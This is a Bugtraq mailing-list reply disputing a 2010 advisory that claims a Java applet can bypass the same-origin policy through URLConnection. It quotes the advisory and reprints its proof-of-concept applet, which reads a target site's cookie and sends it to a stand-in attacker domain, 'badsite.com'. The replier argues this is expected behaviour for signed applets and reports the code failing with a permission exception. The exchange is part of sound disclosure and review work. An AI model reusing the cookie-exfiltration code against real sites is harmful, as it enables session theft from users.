Date: Wed, 20 Oct 2010 11:05:11 -0400
From: Mike Duncan <Mike.Duncan@...a.gov>
To: roberto.suggi@...urity-assessment.com
Cc: bugtraq@...urityfocus.com
Subject: Re: Security-Assessment.com Advisory: Oracle JRE -
 java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Comments are inline below...

On 10/19/2010 07:18 AM, Roberto Suggi Liverani wrote:
> 
>    (    , )     (,
>   .   `.' ) ('.    ',
>    ). , ('.   ( ) (
>   (_,) .`), ) _ _,
>  /  _____/  / _  \    ____  ____   _____  
>  \____  \==/ /_\  \ _/ ___\/  _ \ /     \ 
>  /       \/   |    \\  \__(  <_> )  Y Y  \
> /______  /\___|__  / \___  >____/|__|_|  /
>         \/         \/.-.    \/         \/:wq 
>                     (x.0)
>                   '=.|w|.='
>                   _='`"``=.
> 
> 		presents..
> 
> Oracle JRE - java.net.URLConnection class – 
> Same-of-Origin (SOP) Policy Bypass
> 
> PDF: http://www.security-assessment.com/files/advisories/Oracle_JRE_java_net_urlconnection_SOP_Bypass.pdf
> CVE Identifier: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3573
> 
> 
> +-----------+
> |Description|
> +-----------+
> 
> Security-Assessment.com discovered that a Java Applet 
> making use of java.net.URLConnection class can be used 
> to bypass same-of-origin (SOP) policy and domain based 
> security controls in modern browsers when communication 
> occurs between two domains that resolve to the same IP 
> address. This advisory includes a Proof-of-Concept 
> (PoC) demo and a Java Applet source code, which 
> demonstrates how this security can be exploited to leak 
> cookie information to an unauthorised domain, which 
> resides on the same host IP address.
> 
> +------------+
> |Exploitation|
> +------------+
> 
> The Flash movie demo can be viewed at the following 
> link:
> 
> http://www.security-assessment.com/files/advisories/java_net_urlconnection_sop_bypass_demo.swf
> 
> Proof of Concept (PoC) in demo demonstrates that a 
> Cross Site Request Forgery (XSRF) attack can be leveraged 
> by using a Java Applet which implements the 
> java.net.URLConnection class. Traditionally, XSRF is used 
> to force a user to perform an unwanted action on a target 
> web site. In this case, the PoC shows that XSRF can be 
> used to capture sensitive information such as cookie 
> associated to a target web site.
> 
> The following assumptions are made in this PoC:
> 
> 1. Virtual hosts www.targetsite.net and 
> www.badsite.com resolve to the same IP address;
> 
> 2. Malicious user controls www.badsite.com web site;
> 
> 3. Malicious user targets www.targetsite.net users.
> 
> The following list summarises the sequence of actions 
> shown in the demo:
> 
> 
> 1. User has a valid cookie for www.targetsite.net
> 
> 2. The same user visits www.badsite.com which performs 
> a cross site forged request to www.targetsite.net . 
> The forged request is performed by a Java Applet 
> embedded on the malicious site. The Java Applet 
> bypasses the Same-of-Origin policy as an unsigned Java 
> Applet should not be able to communicate 
> from www.badsite.com to www.targetsite.net without 
> a crossdomain.xml policy file.

Java Applets do not require crossdomain.xml files. It is Flash objects
you are thinking about here. If an applet wishes to provide network
access to another host, other than the host which loaded the applet, it
must be signed and the user must accept the signature.

> 
> 3. Java Applet performs first GET request to 
> www.targetsite.net. At this stage, the Java Applet 
> controls the Cookie: header sent to www.targetsite.net
> through the getRequestProperty("cookie") method.
> This is in breach with SOP.

In the code (sorry for wrapping issues)...

      URL url = new URL("http://www.targetsite.net/default.html");
      URLConnection connection;
      String inputLine;
      BufferedReader inReader;
            connection = url.openConnection();
      connection.setAllowUserInteraction(false);
      connection.setDoOutput(true);

      messageLog.append("Request
Property"+connection.getRequestProperty("cookie")+"\n");

      messageLog.append("File read from URL " + url + ":\n");
            inReader = new BufferedReader(
                        new InputStreamReader(connection.getInputStream()));
            while (null != (inputLine = inReader.readLine())) {
                messageLog.append(inputLine + "\n");
            }
            inReader.close();
      messageLog.append("Request
Property"+connection.getRequestProperty("cookie")+"\n");

...you simply connect to targetsite.net and then download a cookie using
getRequestHeader. This is not a breach of any kind but expected behavior
for a signed applet which has been allowed to perform this action.

> 
> 4. A second request is done for the purpose 
> of the demo which leaks www.targetsite.net 
> cookie’s to www.badsite.com via an HTTP GET 
> request.

Yeah, by generating another request to the host and sending it directly
within the parameters/input to the end-point script/application. This is
again, expected behavior for a signed applet. Since I was not able to
reproduce your results using the an older version of Java and without
signing the applet (see below), I do not understand how you came to
these results.

Here is the remaining code, FWIW...

      String cookie;
      cookie = connection.getRequestProperty("cookie");

      URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
      URLConnection connection2;

      String inputLine2;
      BufferedReader inReader2;
            connection2 = url2.openConnection();
      connection2.setAllowUserInteraction(false);
      connection2.setDoOutput(true);

      inReader2 = new BufferedReader(
                        new
InputStreamReader(connection2.getInputStream()));
            while (null != (inputLine2 = inReader2.readLine())) {
                messageLog.append(inputLine2 + "\n");
            }
            inReader2.close();

        }

See? You simply send the cookie value as a parameter. If the code was
signed or if you allow Java applets to be executed without signatures,
then I can see your argument. But again, this is expected and nothing new.

> 
> 
> Testing was successfully performed using Java(TM) 
> SE Runtime Environment (build 1.6.0_21-b07) and the 
> following browsers:
> 
> - Mozilla Firefox 3.5.8 (Windows XP)
> - Opera 10.60 (Windows XP)
> - Internet Explorer 6.0.2900.5512 (Windows XP)
> - Google Chrome 5.0.375.9 (Windows XP)
> - Internet Explorer 8.0.6001.18702 (Windows XP)
> - Safari 5.0 (7533.16) (Windows XP)

My tests were using Firefox 3.6.10 and Java v1.6.0_21...

java version "1.6.0_21"
Java(TM) SE Runtime Environment (build 1.6.0_21-b06)
Java HotSpot(TM) Server VM (build 17.0-b16, mixed mode)

...and my results are exactly what I thought they would be. Using an
older version than you are using and after fixing the name in the source
code provided to allow it to compile correctly (yes, the code does not
compile out of the box), I got the following expected exception...

java.security.AccessControlException: access denied
(java.net.SocketPermission www.targetsite.net:80 connect,resolve)
        at
java.security.AccessControlContext.checkPermission(AccessControlContext.java:323)
        at
java.security.AccessController.checkPermission(AccessController.java:546)
        at
java.lang.SecurityManager.checkPermission(SecurityManager.java:532)
        at java.lang.SecurityManager.checkConnect(SecurityManager.java:1034)
        at sun.net.www.http.HttpClient.openServer(HttpClient.java:527)
        at sun.net.www.http.HttpClient.<init>(HttpClient.java:233)
        at sun.net.www.http.HttpClient.New(HttpClient.java:306)
        at sun.net.www.http.HttpClient.New(HttpClient.java:323)
        at
sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:860)
        at
sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:801)
        at
sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:726)
        at
sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1049)
        at MaliciousJavaApplet2.start(MaliciousJavaApplet2.java:37)
        at sun.applet.AppletPanel.run(AppletPanel.java:464)
        at java.lang.Thread.run(Thread.java:619)

This is thrown because the code was not signed and I did not give
permission for the applet to access networking on my test host to
presumably lookup "targetsite.net".

> 
> The Java Applet source code used in the demo can be 
> downloaded at the following link:
> 
> http://www.security-assessment.com/files/advisories/MaliciousJavaApplet.zip
> 

I highly doubt this is the actual course code since it does not compile
without edits from the user.

> +--------+
> |Solution|
> +--------+
> 
> Security-Assessment.com follows responsible disclosure
> and promptly contacted Oracle after discovering
> the issue. Oracle was contacted on August 1,
> 2010.
> 
> Oracle has created a fix for this vulnerability which 
> has been included as part of Critical Patch Update 
> Advisory - October 2010. Security-Assessment.com 
> recommends all users of JRE and JDK to upgrade to 
> the latest version as soon as possible. 

We appreciate the responsible disclosure, but I am looking at the
advisories for Oct 2010 from Oracle (see
http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html) and
I do not see this "fix" listed anywhere. I see Java VM stuff but only in
the context of being fixed as part of another, parent component like
Database Server.

Am I looking in the wrong place?

> 
> For more information on the new release of JRE/JDK 
> please refer to the link:
> 
> http://www.oracle.com/technetwork/java/javase/downloads/index.html
> 
> +------+
> |Credit|
> +------+
> 
> Discovered and advised to Oracle
> August 2010 by Roberto Suggi Liverani of 
> Security-Assessment.com.
> 
> Personal site: http://malerisch.net
> 

My guess is that you are trusting these applets to execute in some
manner which you are not aware of -- perhaps, you simply accepted the
certificate once before choosing "Accept Always..." or something and
this is messing with your results.

It seems to me that a huge issue like this would have made more noise
too. URLConnection is not exactly an unused class in Java. It is
everywhere and used in a lot of applications.

Good luck.

Mike Duncan
Dep. ISSO, Application Security Specialist
National Climatic Data Center, NOAA
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEARECAAYFAky/BSYACgkQnvIkv6fg9hYakgCfYnPD4UBncy071TBAsV0re952
yAAAoJIKFM4IpHouzW5p4VpaVoEatp2c
=Is68
-----END PGP SIGNATURE-----

Powered by blists - more mailing lists